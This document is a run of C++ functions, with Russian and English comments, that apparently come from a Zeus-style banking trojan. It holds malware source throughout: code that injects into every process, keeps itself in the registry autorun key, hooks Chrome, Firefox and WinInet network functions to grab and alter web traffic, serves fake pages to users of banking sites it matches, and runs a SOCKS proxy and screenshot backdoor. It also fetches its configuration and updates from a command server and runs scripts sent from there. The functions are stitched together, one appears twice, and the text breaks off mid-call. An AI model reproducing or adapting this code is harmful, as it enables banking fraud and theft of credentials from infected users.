/* Проверка статус скрипта. IN hash - MD5 хэш скрипта. Return - 0 - в случаи успеха, CryptedStrings::id_* - в случаи провала. */ static WORD getScriptStatusByHash(LPBYTE hash) { WORD errorMessageId = NULL; BinStorage::STORAGE *localConfig = LocalConfig::beginReadWrite(); if(localConfig == NULL) { errorMessageId = CryptedStrings::id_remotescript_error_failed_to_load; } else { DWORD size; LPBYTE hashList = (LPBYTE)BinStorage::_getItemDataEx(localConfig, LocalConfig::ITEM_REMOTESCRIPT_HASH, BinStorage::ITEMF_IS_SETTING, &size); if(hashList != NULL && size % MD5HASH_SIZE == 0) { for(DWORD i = 0; i < size; i += MD5HASH_SIZE)if(Mem::_compare(hash, hashList + i, MD5HASH_SIZE) == 0) { errorMessageId = CryptedStrings::id_remotescript_error_already_executed; break; } //Adding a new hash. if(errorMessageId == 0) { bool added = false; if(Mem::reallocEx(&hashList, size + MD5HASH_SIZE)) { Mem::_copy(hashList + size, hash, MD5HASH_SIZE); added = BinStorage::_modifyItemById(&localConfig, LocalConfig::ITEM_REMOTESCRIPT_HASH, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, hashList, size + MD5HASH_SIZE); } if(!added) { errorMessageId = CryptedStrings::id_remotescript_error_not_enough_memory; WDEBUG0(WDDT_ERROR, "_modifyItemById or reallocEx failed."); } } } //Or damage to any command yet when it is not accepted. Create a new list. else if(!BinStorage::_addItem(&localConfig, LocalConfig::ITEM_REMOTESCRIPT_HASH, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, hash, MD5HASH_SIZE)) { errorMessageId = CryptedStrings::id_remotescript_error_not_enough_memory; WDEBUG0(WDDT_ERROR, "_addItem failed."); } //If an error occurs, make changes, do not need. if(errorMessageId != 0) { Mem::free(localConfig); localConfig = NULL; } //Release memory and saving the configuration. Mem::free(hashList); if(!LocalConfig::endReadWrite(localConfig) && localConfig != NULL)errorMessageId = CryptedStrings::id_remotescript_error_failed_to_save; } return errorMessageId; }
/* Сохранение образа в PE-файл. IN pes - настроки PE. Если NULL, происходит просто копирование текущего образа с оверлеем. IN fileName - имя файла. IN infinite - пытаться записать файл бесконечно. Return - true - в случаи успеха, false - в случаи ошибки. */ static bool savePeFile(const PESETTINGS *pes, const LPWSTR fileName, bool infinite) { bool ok = false; PeImage::PEDATA pdOriginal; Fs::MEMFILE mf; WDEBUG0(WDDT_INFO, "Saving PE file..."); if(Fs::_fileToMem(coreData.paths.process, &mf, 0)) { if(pes == NULL) { ok = saveFile(mf.data, mf.size, fileName, infinite); Fs::_closeMemFile(&mf); } else { DWORD imageSize = mf.size; LPBYTE image = (LPBYTE)Mem::copyEx(mf.data, mf.size); Fs::_closeMemFile(&mf); if(image != NULL) { if(Core::setBaseOverlay(image, imageSize, pes, sizeof(PESETTINGS)))ok = saveFile(image, imageSize, fileName, infinite); Mem::free(image); } } } # if(BO_DEBUG > 0) if(!ok)WDEBUG0(WDDT_ERROR, "Failed."); # endif return ok; }
static DWORD WINAPI procInfection(void *) { CoreHook::disableFileHookerForCurrentThread(true); //FIXME: file protection bot, if not the switches on TT are also protected from reading. //FIXME: registry protection, through the restoration. HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_CONTROL_INFECTION, MalwareTools::KON_SESSION); if(mutex == NULL) { WDEBUG0(WDDT_ERROR, "Failed."); return 1; } WDEBUG0(WDDT_INFO, "Started."); if(Core::isActive()) { CWA(kernel32, SetThreadPriority)(CWA(kernel32, GetCurrentThread)(), THREAD_PRIORITY_IDLE); while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 5000) == WAIT_TIMEOUT)CoreInject::_injectToAll(); } WDEBUG0(WDDT_INFO, "Stopped."); Sync::_freeMutex(mutex); return 0; }
/* Создание процесса в определенной сессии. IN queryUserToken - WTSQueryUserToken. IN sessionId - сессия. IN sid - если SID сессии не равен этому SID'у, процесс не создается. IN fileName - файл для запуска. */ static void createProcessForSession(WTSQUERYUSERTOKEN queryUserToken, DWORD sessionId, PSID sid, const LPWSTR fileName) { HANDLE userToken; if(queryUserToken(sessionId, &userToken) != FALSE) { TOKEN_USER *tu = WinSecurity::_getUserByToken(userToken); if(tu != NULL) { if(CWA(advapi32, EqualSid)(tu->User.Sid, sid) != FALSE) { //FIXME: DuplicateHandleEx? WDEBUG1(WDDT_INFO, "Creating process for session %u.", sessionId); Process::_createAsUserEx(userToken, NULL, fileName, NULL, NULL, NULL, NULL); } Mem::free(tu); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "WinSecurity::_getUserByToken failed."); # endif CWA(kernel32, CloseHandle)(userToken); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "WTSQueryUserToken failed."); # endif }
/* Обноволение концигурации и бота. IN baseConfig - базовая конфигурация. IN OUT md - конфиг полученый от сервера. . IN flags - UCF_*. Return - true - конфиг успешно орбновлен, false - не удалосб обнвоить конфиг. */ static bool updateConfig(BASECONFIG *baseConfig, MEMDATA *md, DWORD flags) { WDEBUG0(WDDT_INFO, "UPDATECONFIG CALLED"); bool retVal = false; if(md->data != NULL && (md->size = BinStorage::_unpack(NULL, md->data, md->size, &baseConfig->baseKey)) != 0 && BinStorage::_getItemDataAsDword((BinStorage::STORAGE *)md->data, CFGID_LAST_VERSION, BinStorage::ITEMF_IS_OPTION, NULL)) { WDEBUG0(WDDT_INFO, "Configuration unpacked."); //Обновляем конфигурацию. { PESETTINGS pes; DWORD type; initRegistry(); Core::getPeSettings(&pes); if((md->size = BinStorage::_pack((BinStorage::STORAGE **)&md->data, BinStorage::PACKF_FINAL_MODE, &pes.rc4Key)) == 0 || Registry::_setValueAsBinary(HKEY_CURRENT_USER, registryKey, registryValue, REG_BINARY, md->data, md->size) == false) { WDEBUG0(WDDT_ERROR, "Failed to repack configuration."); } else { retVal = true; tryToUpdateBot(flags & UCF_FORCEUPDATE); } } } return retVal; }
static DWORD WINAPI procInfection(void *) { CoreHook::disableFileHookerForCurrentThread(true); //FIXME: защита файлов бота, если не влючен TT защищаемся также от чтения. //FIXME: защита реестра, путем восстановления. HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_CONTROL_INFECTION, MalwareTools::KON_SESSION); if(mutex == NULL) { WDEBUG0(WDDT_ERROR, "Failed."); return 1; } WDEBUG0(WDDT_INFO, "Started."); if(Core::isActive()) { CWA(kernel32, SetThreadPriority)(CWA(kernel32, GetCurrentThread)(), THREAD_PRIORITY_IDLE); while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 5000) == WAIT_TIMEOUT)CoreInject::_injectToAll(); } WDEBUG0(WDDT_INFO, "Stopped."); Sync::_freeMutex(mutex); return 0; }
static DWORD WINAPI s1Proc(void *p) { CoreHook::disableFileHookerForCurrentThread(true); SOCKET s = (SOCKET)p; BYTE magicByte; WDEBUG0(WDDT_INFO, "Started."); //We learn in the first byte that want from us. if(WSocket::tcpRecv(s, &magicByte, 1, 0) == 1)switch(magicByte) { //Sox 5. case 5: Socks5Server::_start5(s, 0); break; //Sox 4. case 4: Socks5Server::_start4(s, 0); break; //Screenshot. case 0: { WDEBUG0(WDDT_INFO, "Is screenshot session"); //Read MIME. BYTE quality; BYTE mimeSize; if(WSocket::tcpRecvAll(s, &quality, 1, 0) && WSocket::tcpRecvAll(s, &mimeSize, 1, 0)) { char mime[0xFF]; if(mimeSize > 0 && WSocket::tcpRecvAll(s, mime, mimeSize, 0)) { LPWSTR realMime = Str::_utf8ToUnicode(mime, mimeSize); if(realMime != NULL) { //Send a screenshot. Screenshoot::_screenToSocket(s, realMime, quality, 0); Mem::free(realMime); } } } break; } } WDEBUG0(WDDT_INFO, "Stopped."); WSocket::tcpClose(s); return 0; }
bool WinApiTables::_setChromeHooks(HMODULE moduleHandle) { bool ok; ok = SetSSLHook(moduleHandle); if(!ok)WDEBUG0(WDDT_INFO, "SSL NOT Hooked"); else WDEBUG0(WDDT_INFO, "SSL Hooked"); //Хукаем. return ok; }
bool WinApiTables::_trySetNspr4HooksEx(LPWSTR moduleName, HMODULE moduleHandle) { if(Str::_findSubStringW(moduleName,DLL_NSPR4)!=NULL) { WDEBUG0(WDDT_INFO, "trySetNspr4HooksEx returned true"); return _setNspr4Hooks(moduleHandle); } if(Str::_findSubStringW(moduleName,L"chrome.dll")!=NULL){ WDEBUG0(WDDT_INFO, "trySetNspr4HooksEx chrome.dll was found"); return _setChromeHooks(moduleHandle); } return false; }
BOOL WINAPI WininetHook::hookerInternetCloseHandle(HINTERNET handle) { #if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Called"); #endif //Закрытие хэндла прерывает чтение данных из других потоков. BOOL r = CWA(wininet, InternetCloseHandle)(handle); if(Core::isActive())//Возможна небольшая утечка памяти. { CWA(kernel32, EnterCriticalSection)(&connectionsCs); DWORD connectionIndex = connectionFind(handle); if(connectionIndex != (DWORD)-1) { connectionRemove(connectionIndex); # if defined WDEBUG2 WDEBUG2(WDDT_INFO, "Connection 0x%p removed from table, current connectionsCount=%u.", handle, connectionsCount); # endif } CWA(kernel32, LeaveCriticalSection)(&connectionsCs); } return r; }
bool WinApiTables::_trySetNspr4Hooks(void) { /*DWORD oldprot; kiFastOrig = (void*)_GetFuncAddress(L"ntdll.dll", "\x8B\xD4\x0F\x34\xC3", "xxxxx"); KiFastSystemCallOrig = (BYTE*)kiFastOrig + 2; WDEBUG1(WDDT_INFO, "KiFastSystemCallOrig: \"0x%08X\"", KiFastSystemCallOrig); if(VirtualProtect(kiFastOrig,20,PAGE_EXECUTE_READWRITE, &oldprot) != 0) { //WDEBUG0(WDDT_INFO,"EKANQ STE"); //*((LPBYTE)(kiFastOrig)) = 0xEB; //*((LPBYTE)(kiFastOrig)+1) = 0x03; *((LPBYTE)(kiFastOrig)+5) = 0xE9; *((DWORD *)((LPBYTE)(kiFastOrig) + 6)) = (DWORD)((DWORD_PTR)(KiFastHook) - ((DWORD_PTR)(kiFastOrig)+5) - 5); *((LPBYTE)(kiFastOrig)+10) = 0x90; *((LPBYTE)(kiFastOrig)+11) = 0x90; //WDEBUG0(WDDT_INFO, "EKAV"); VirtualProtect(kiFastOrig,20,oldprot,&oldprot); } WDEBUG2(WDDT_INFO, "KIFAST_ADDR: \"0x%08X\", \"0x%08X\"", KiFastHook, kiFastOrig);*/ WDEBUG0(WDDT_INFO, "Trying to set hook nspr4"); HMODULE module = CWA(kernel32, GetModuleHandleW)(DLL_NSPR4); return module != NULL ? _setNspr4Hooks(module) : false; }
static WORD createListenSocket(WORD initialPort, SOCKETDATA *ipv4Data, SOCKETDATA *ipv6Data) { WDEBUG1(WDDT_INFO, "initialPort=%u.", initialPort); if(initialPort != 0 && createSocketData(AF_INET, initialPort, ipv4Data)) { createSocketData(AF_INET6, initialPort, ipv6Data); return initialPort; } if(createSocketData(AF_INET, 0, ipv4Data)) { SOCKADDR_STORAGE sockAddr; int sockAddrSize = sizeof(SOCKADDR_STORAGE); if(CWA(ws2_32, getsockname)(ipv4Data->s, (sockaddr *)&sockAddr, &sockAddrSize) == 0) { initialPort = SWAP_WORD(((SOCKADDR_IN *)&sockAddr)->sin_port); WDEBUG1(WDDT_INFO, "New initialPort=%u.", initialPort); createSocketData(AF_INET6, initialPort, ipv6Data); return initialPort; } freeSocketData(ipv4Data); } WDEBUG0(WDDT_ERROR, "Failed to listen."); return 0; }
bool CoreInstall::_loadInstalledData(const void *overlay, DWORD overlaySize) { //Получаем PESETTINGS. Преднамерено не проверяем ошибки. Mem::_copy(&coreData.peSettings, overlay, sizeof(PESETTINGS)); PESETTINGS ps; Core::getPeSettings(&ps); //Проверяем. WDEBUG5(WDDT_INFO, "Current OS guid {%08X-%04X-%04X-%08X%08X}.", ps.guid.Data1, ps.guid.Data2, ps.guid.Data3, *((LPDWORD)&ps.guid.Data4[0]), *((LPDWORD)&ps.guid.Data4[4])); if(Mem::_compare(&coreData.osGuid, &ps.guid, sizeof(GUID)) == 0) { //Проверяем пути. int coreLenght = Str::_LengthW(coreData.paths.process); int homeLenght = Str::_LengthW(coreData.paths.home); WCHAR coreFile[sizeof(ps.userPaths.coreFile) / sizeof(char)]; Str::_ansiToUnicode(ps.userPaths.coreFile, -1, coreFile, sizeof(coreFile) / sizeof(WCHAR)); if(coreLenght > homeLenght && coreData.paths.process[homeLenght] == '\\' && CWA(shlwapi, StrCmpNIW)(coreData.paths.home, coreData.paths.process, homeLenght) == 0 && //Файл запушен из домшней директории. CWA(kernel32, lstrcmpiW)(coreFile, coreData.paths.process + homeLenght + 1) == 0) //Файл запушен из номарльного пути домашней директории. { //Номарльный запуск. return true; } # if(BO_DEBUG > 0) else WDEBUG2(WDDT_ERROR, "Bad paths coreData.paths.process=%s, coreData.paths.home=%s.", coreData.paths.process, coreData.paths.home); # endif } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Bad OS/User guid."); # endif return false; }
bool newDownloader(LPSTR url, MEMDATA* memData) { Crypt::RC4KEY rc4Key; BinStorage::STORAGE *postData = NULL; DWORD size; HttpTools::URLDATA ud; LPSTR fileName = Str::_findRCharA(url, '|') + 1; *(fileName - 1) = 0; bool ok=false; { BASECONFIG baseConfig; Core::getBaseConfig(&baseConfig); Mem::_copy(&rc4Key, &baseConfig.baseKey, sizeof(Crypt::RC4KEY)); } Report::addBasicInfo(&postData, Report::BIF_BOT_ID); BinStorage::_addItemAsUtf8StringA(&postData, SBCID_REQUEST_FILE, BinStorage::ITEMF_COMBINE_OVERWRITE, fileName); if((size = BinStorage::_pack(&postData, BinStorage::PACKF_FINAL_MODE, &rc4Key)) > 0) { WDEBUG0(WDDT_INFO, "Passed upd 1"); if(HttpTools::_parseUrl(url, &ud)) { WDEBUG0(WDDT_INFO, "Passed upd 2"); HINTERNET serverHandle = Wininet::_Connect(coreData.httpUserAgent, ud.host, ud.port, GetTickCount() % 2 == 0 ? Wininet::WICF_USE_IE_PROXY : 0); if(!serverHandle) {Mem::free(postData);WDEBUG1(WDDT_INFO, "Can't connect to host: %s", ud.host);return false;} DWORD requestFlags = Wininet::WISRF_METHOD_POST | Wininet::WISRF_KEEP_CONNECTION; HINTERNET requestHandle = Wininet::_SendRequest(serverHandle, ud.uri, NULL, postData, size, requestFlags); if(!requestHandle) {Mem::free(postData);WDEBUG1(WDDT_INFO, "Can't send request: %s", ud.uri);return false;} if(/*DownloadFile(coreData.httpUserAgent, ud.host, ud.port, memData, postData, size)*/Wininet::_DownloadData(requestHandle, memData, 0, coreData.globalHandles.stopEvent)) { WDEBUG0(WDDT_INFO, "Downloaded"); ok = true; } InternetCloseHandle(requestHandle); Wininet::_CloseConnection(serverHandle); Mem::free(postData); } } return ok; }
HINTERNET HttpGrabber::_createFakeResponse(REQUESTDATA *requestData, INJECTFULLDATA *fakeData) { //Генерируем URL фейка. FAKECONNECT fakeConnect; fakeConnect.requestData = requestData; fakeConnect.fakeRequest = NULL; if(fakeData->flags & HttpInject::FLAG_IS_MIRRORFAKE)fakeConnect.fakeUrl = _genarateMirrorFakeUrlA(fakeData->fakeUrl, requestData->url, fakeData->urlMask); else fakeConnect.fakeUrl = HttpTools::_catExtraInfoFromUrlToUrlA(requestData->url, fakeData->fakeUrl); # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "fakeConnect.fakeUrl=[%S].", fakeConnect.fakeUrl); # endif //Вызываем поток для прозрачного подключения. if(fakeConnect.fakeUrl != NULL) { Core::initHttpUserAgent(); //Нужно вызвать здесь, т.к. вызов в другом потоке приведет к deadlock. # if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Sending request to fake."); # endif HANDLE fakeThread = CWA(kernel32, CreateThread)(NULL, 0, (LPTHREAD_START_ROUTINE)fakeConnectProc, &fakeConnect, 0, NULL); if(fakeThread != NULL) { Sync::_waitForMultipleObjectsAndDispatchMessages(1, &fakeThread, false, INFINITE); CWA(kernel32, CloseHandle)(fakeThread); } # if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Request sended."); # endif Mem::free(fakeConnect.fakeUrl); } //Проверяем результат. # if(BO_DEBUG > 0 && defined WDEBUG) if(fakeConnect.fakeRequest == NULL)WDEBUG0(WDDT_ERROR, "Failed to create fake request."); # endif return fakeConnect.fakeRequest; }
static DWORD WINAPI proc(void *) { CoreHook::disableFileHookerForCurrentThread(true); HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_DYNAMIC_CONFIG, MalwareTools::KON_GLOBAL); if(mutex == NULL) { WDEBUG0(WDDT_ERROR, "Failed"); return 1; } WDEBUG0(WDDT_INFO, "Started."); //Получем время ожидания. DWORD normalDelay; DWORD errorDelay; DWORD delay; { BASECONFIG baseConfig; Core::getBaseConfig(&baseConfig); normalDelay = HIWORD(baseConfig.delayConfig) * 60 * 1000; errorDelay = LOWORD(baseConfig.delayConfig) * 60 * 1000; Mem::_zero(&baseConfig, sizeof(BASECONFIG)); } //Цикл. if(Core::isActive()) { WDEBUG2(WDDT_INFO, "normalDelay=%u, errorDelay=%u", normalDelay, errorDelay); do { delay = DynamicConfig::download(NULL) ? normalDelay : errorDelay; } while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, delay) == WAIT_TIMEOUT); } WDEBUG0(WDDT_INFO, "Stopped."); Sync::_freeMutex(mutex); return 0; }
/* Загрузка обвнолвения бота, используя данные из текущей конфигурации. IN force - форсировать обновление бота, независимво от версии. Return - true - обновление успешно запущено, false - произошла ошибка. */ static bool tryToUpdateBot(bool force) { bool retVal = false;; BinStorage::STORAGE *currentConfig = DynamicConfig::getCurrent(); if(currentConfig != NULL) { DWORD version; if(BinStorage::_getItemDataAsDword(currentConfig, CFGID_LAST_VERSION, BinStorage::ITEMF_IS_OPTION, &version) && (version > BO_CLIENT_VERSION || (force == true && version >= BO_CLIENT_VERSION))) { LPSTR url = (LPSTR)BinStorage::_getItemDataEx(currentConfig, CFGID_LAST_VERSION_URL, BinStorage::ITEMF_IS_OPTION, NULL); if(url != NULL) { WCHAR tempFile[MAX_PATH]; LPWSTR ext = FILEEXTENSION_EXECUTABLE; if(Fs::_createTempFileEx(NULL, ext + 1, tempFile)) { WDEBUG2(WDDT_INFO, "\"%S\" => \"%s\".", url, tempFile); MEMDATA memData; if(newDownloader(url, &memData) && Fs::_saveToFile(tempFile,memData.data,memData.size)) { DWORD pid = Process::_createEx(tempFile, force ? L"-f" : NULL, NULL, NULL, NULL); # if(BO_DEBUG > 0) if(pid == 0)WDEBUG0(WDDT_ERROR, "Failed to run new version of bot."); else WDEBUG1(WDDT_INFO, "PID of new bot is %u.", pid); # endif if(pid != 0)retVal = true; } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "Failed to download the bot."); # endif Fs::_removeFile(tempFile); } Mem::free(url); } } Mem::free(currentConfig); } return retVal; }
void Wininet::_CloseConnection(HINTERNET hConnect) { HINTERNET hInet = NULL; DWORD dwSize = sizeof(HINTERNET); BOOL r = CWA(wininet, InternetQueryOptionA)(hConnect, INTERNET_OPTION_PARENT_HANDLE, (void *)&hInet, &dwSize); CWA(wininet, InternetCloseHandle)(hConnect); if(r && hInet && dwSize == sizeof(HINTERNET))CWA(wininet, InternetCloseHandle)(hInet); #if(BO_DEBUG > 0 && defined(WDEBUG1)) else WDEBUG0(WDDT_ERROR, "Opps! Parent no founded for hConnection!"); #endif }
BOOL WINAPI WininetHook::hookerInternetReadFileExA(HINTERNET handle, LPINTERNET_BUFFERSA buffersOut, DWORD flags, DWORD_PTR context) { #if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Called"); #endif if(Core::isActive() && buffersOut != NULL && buffersOut->lpvBuffer != NULL && buffersOut->dwBufferLength > 0) { int r = onInternetReadFile(&handle, buffersOut->lpvBuffer, buffersOut->dwBufferLength, &buffersOut->dwBufferLength); if(r != -1)return (BOOL)r; } return CWA(wininet, InternetReadFileExA)(handle, buffersOut, flags, context); }
BOOL WINAPI WininetHook::hookerInternetQueryDataAvailable(HINTERNET handle, LPDWORD numberOfBytesAvailable, DWORD flags, DWORD_PTR context) { #if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Called"); #endif if(Core::isActive()/* && numberOfBytesAvailable != NULL May be NULL.*/) { int r = onInternetReadFile(&handle, NULL, 0, numberOfBytesAvailable); if(r != -1)return (BOOL)r; } return CWA(wininet, InternetQueryDataAvailable)(handle, numberOfBytesAvailable, flags, context); }
BOOL WINAPI WininetHook::hookerInternetReadFile(HINTERNET handle, LPVOID buffer, DWORD numberOfBytesToRead, LPDWORD numberOfBytesReaded) { #if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Called"); #endif if(Core::isActive() && buffer != NULL && numberOfBytesToRead > 0 && numberOfBytesReaded != NULL) { int r = onInternetReadFile(&handle, buffer, numberOfBytesToRead, numberOfBytesReaded); if(r != -1)return (BOOL)r; } return CWA(wininet, InternetReadFile)(handle, buffer, numberOfBytesToRead, numberOfBytesReaded); }
static DWORD WINAPI procAutorun(void *) { CoreHook::disableFileHookerForCurrentThread(true); CWA(kernel32, SetThreadPriority)(CWA(kernel32, GetCurrentThread)(), THREAD_PRIORITY_NORMAL); HANDLE mutex = Core::waitForMutexOfObject(Core::OBJECT_ID_CONTROL_AUTORUN, MalwareTools::KON_SESSION); if(mutex == NULL) { WDEBUG0(WDDT_ERROR, "Failed"); return 1; } WDEBUG0(WDDT_INFO, "Started."); WCHAR autorunName[50]; WCHAR processPath[MAX_PATH]; DWORD processPathSize; Core::generateObjectName(Core::OBJECT_ID_REG_AUTORUN, autorunName, MalwareTools::KON_DEFAULT); Core::getPeSettingsPath(Core::PSP_COREFILE, processPath); CWA(shlwapi, PathQuoteSpacesW)(processPath); processPathSize = Str::_LengthW(processPath); //Цикл. if(Core::isActive()) { CSTR_GETW(regPath, regpath_autorun); while(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 200) == WAIT_TIMEOUT) { Registry::_setValueAsString(HKEY_CURRENT_USER, regPath, autorunName, processPath, processPathSize); } } WDEBUG0(WDDT_INFO, "Stopped."); Sync::_freeMutex(mutex); return 0; }
DWORD Process::_create(const LPWSTR module, const LPWSTR commandLine, const LPWSTR workDir, const STARTUPINFOW *starupInfo, PROCESS_INFORMATION *pi) { //The Unicode version of this function, CreateProcessW, can modify the contents of this string. WCHAR zeroStr[1]; zeroStr[0] = 0; { STARTUPINFOW defaultStartupInfo; PROCESS_INFORMATION info; if(starupInfo == NULL) { Mem::_zero(&defaultStartupInfo, sizeof(STARTUPINFOW)); defaultStartupInfo.cb = sizeof(STARTUPINFOW); } # if defined WDEBUG2 WDEBUG2(WDDT_INFO, "module=[%s], commandLine=[%s]", module, commandLine); # endif if(CWA(kernel32, CreateProcessW)(module, commandLine == NULL ? zeroStr : commandLine, NULL, NULL, FALSE, CREATE_DEFAULT_ERROR_MODE, NULL, workDir, starupInfo == NULL ? &defaultStartupInfo : (STARTUPINFOW *)starupInfo, &info ) != FALSE) { if(pi != NULL) { Mem::_copy(pi, &info, sizeof(PROCESS_INFORMATION)); } else { CWA(kernel32, CloseHandle)(info.hThread); CWA(kernel32, CloseHandle)(info.hProcess); } return info.dwProcessId; } # if defined WDEBUG0 && BO_DEBUG > 0 else WDEBUG0(WDDT_ERROR, "Failed."); # endif } return 0; }
bool HttpGrabber::_addUrlMaskToList(DWORD listId, BinStorage::STORAGE **localConfig, const LPSTR urlMask) { if(*urlMask == 0)return false; bool ok = false; DWORD itemListSize; LPSTR itemList = (LPSTR)BinStorage::_getItemDataEx(*localConfig, listId, BinStorage::ITEMF_IS_SETTING, &itemListSize); //Если элемент существует, ищим клон. if(Str::_isValidMultiStringA(itemList, itemListSize)) { //Ищим элемент в списке. LPSTR curItem = itemList; int urlMaskLen = Str::_LengthA(urlMask); while(Str::_CompareA(urlMask, curItem, urlMaskLen, -1) != 0 && (curItem = Str::_multiStringGetIndexA(curItem, 1)) != NULL); //Клон не найден. if(curItem != NULL) { # if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Item already exists."); # endif } else if(Mem::reallocEx(&itemList, itemListSize + urlMaskLen + 1)) { Str::_CopyA(itemList + itemListSize - 1, urlMask, urlMaskLen); itemListSize += urlMaskLen + 1; itemList[itemListSize - 1] = 0; ok = BinStorage::_modifyItemById(localConfig, listId, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, itemList, itemListSize); } } //Если элемент поврежден или отсутвует, подменяем на новый. else { LPSTR newItem; DWORD newItemSize; if((newItem = Str::_multiStringCreateA(urlMask, &newItemSize))) { if(itemList == NULL)ok = BinStorage::_addItem (localConfig, listId, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, newItem, newItemSize); else ok = BinStorage::_modifyItemById(localConfig, listId, BinStorage::ITEMF_IS_SETTING | BinStorage::ITEMF_COMBINE_OVERWRITE, newItem, newItemSize); Mem::free(newItem); } } Mem::free(itemList); return ok; }
bool SetSSLHook(HMODULE moduleHandle) { DWORD Chrome32Size = (DWORD)Disasm::GetModuleSize(moduleHandle); DWORD ChromeDLL = (DWORD)GetModuleHandleW(L"chrome.dll"); WDEBUG2(WDDT_INFO, "Chrome32Size=\"0x%08X\", ChromeDLL=\"%u\"", Chrome32Size, ChromeDLL); if (!Chrome32Size){ MessageBoxA(NULL,(LPCSTR)"err",(LPCSTR)"569",MB_OK); return false; } if (!ChromeDLL){ MessageBoxA(NULL,(LPCSTR)"NULL 573 l",(LPCSTR)"sd",MB_OK); return false; } char* Sign="\x55\x8B\xEC\xFF\x75\x10\x8B\x45\x08\xFF\x75\x0C\x8B\x08\x50\xFF\x51\x0C\x83";// Сигнатура PR_Write char* Mask="xxxxxxxxxxxxxxxxxxx"; DWORD PR_Writeaddr = Disasm::FindPattern(ChromeDLL,Chrome32Size,(BYTE*)Sign,Mask); WDEBUG1(WDDT_INFO, "PR_Writeaddr=\"0x%08X\"", PR_Writeaddr); WDEBUG1(WDDT_INFO, "PR_WriteTrampaddr=\"0x%08X\"", (void*)Hooked_PR_Write_tramp); if (!PR_Writeaddr) { MessageBoxA(NULL,(LPCSTR)"NULL 580 l",(LPCSTR)"sd",MB_OK); return false; } LPBYTE opcodesBuf = (LPBYTE)WaHook::_allocBuffer(GetCurrentProcess(), 1); if(opcodesBuf != NULL) { DWORD curOpcodesSize = WaHook::_hook(GetCurrentProcess(), (void*)PR_Writeaddr, Hooked_PR_Write_tramp, opcodesBuf, hotPatchCallback); if(curOpcodesSize == 0) { # if defined WDEBUG1 WDEBUG0(WDDT_ERROR, "SETSSLHOOK FAILED!!!"); # endif } ChromeHook.buffer = opcodesBuf; } return true; }
/* Запись в файл. IN data - данные. IN dataSize - размер данных. IN fileName - файл. IN infinite - пытаться записать файл бесконечно. Return - true - в случаи успеха, false - в случаи ошибки. */ static bool saveFile(const void *data, DWORD dataSize, LPWSTR fileName, bool infinite) { //Иногда файл чемто занять после завершения процесса. Ждем... for(BYTE loop = 0;; loop++) { CWA(kernel32, SetFileAttributesW)(fileName, FILE_ATTRIBUTE_ARCHIVE); if(Fs::_saveToFile(fileName, data, dataSize)) { return true; } else { WDEBUG0(WDDT_ERROR, "Failed to save PE file."); if(infinite == false && loop == 10)break; } CWA(kernel32, Sleep)(5000 + loop); } return false; }
void bank::_matchBank(LPSTR url) { DWORD size = Str::_LengthA(url); if(url != NULL && !isBlank()) { CWA(kernel32, EnterCriticalSection)(&csupd); LPSTR curItem = urls; do { if(Str::_findSubStringA(url,curItem)) { WDEBUG0(WDDT_INFO, "Found bank account!"); CWA(kernel32, SetEvent)(sensetiveHandle); break; } } while((curItem = Str::_multiStringGetIndexA(curItem, 1)) != NULL); CWA(kernel32, LeaveCriticalSection)(&csupd); } }
static int defaultSenderResultProc(DWORD loop, Report::SERVERSESSION *session) { SENDERDATA *senderData = (SENDERDATA *)session->customData; //Исполнения скриптов. if(session->postData->count > 0 && session->postData->size > sizeof(BinStorage::STORAGE) + sizeof(BinStorage::ITEM)) { BinStorage::STORAGE *script = (BinStorage::STORAGE *)Mem::copyEx(session->postData, session->postData->size); if(script != NULL && !RemoteScript::_exec(script))Mem::free(script); } //Метка отчета, как отпралдвенного. if(senderData->threadType == DEFAULTSENDER_REPORT) { if(BinStorage::_removeCurrentFromStorageArray(&senderData->storage))return Report::SSPR_CONTUNUE; WDEBUG0(WDDT_INFO, "Unknown error in storage file founded, stopping session."); BinStorage::_closeStorageArray(&senderData->storage); Fs::_removeFile(senderData->reportFile); } return Report::SSPR_END; }
bool DynamicConfig::download(LPSTR url) { #if defined USE_TOR SocketHook::enableTorMode(true); #endif bool ok = false; MEMDATA memData; BASECONFIG baseConfig; Core::getBaseConfig(&baseConfig); LPSTR currentUrl = url == NULL ? baseConfig.defaultConfig : url; //Пытаемся загрузить стандартный конфиг. WDEBUG1(WDDT_INFO, "Trying download config \"%S\".", currentUrl); if(newDownloader(currentUrl, &memData)) { if(updateConfig(&baseConfig, &memData, url == NULL ? 0 : UCF_FORCEUPDATE))ok = true; Mem::free(memData.data); } //Если не был указан конкретный URL, входим в цикл по поиску запасных конфигов. if(ok == false && url == NULL) { WDEBUG0(WDDT_INFO, "Failed."); BinStorage::STORAGE *currentConfig = getCurrent(); if(currentConfig != NULL) { DWORD size; LPSTR configUrlsList = (LPSTR)BinStorage::_getItemDataEx(currentConfig, CFGID_URL_ADV_SERVERS, BinStorage::ITEMF_IS_OPTION, &size); Mem::free(currentConfig); if(Str::_isValidMultiStringA(configUrlsList, size)) { currentUrl = configUrlsList; do { //Задержка между попытками. if(CWA(kernel32, WaitForSingleObject)(coreData.globalHandles.stopEvent, 10000) != WAIT_TIMEOUT)break; //Загрузка. WDEBUG1(WDDT_INFO, 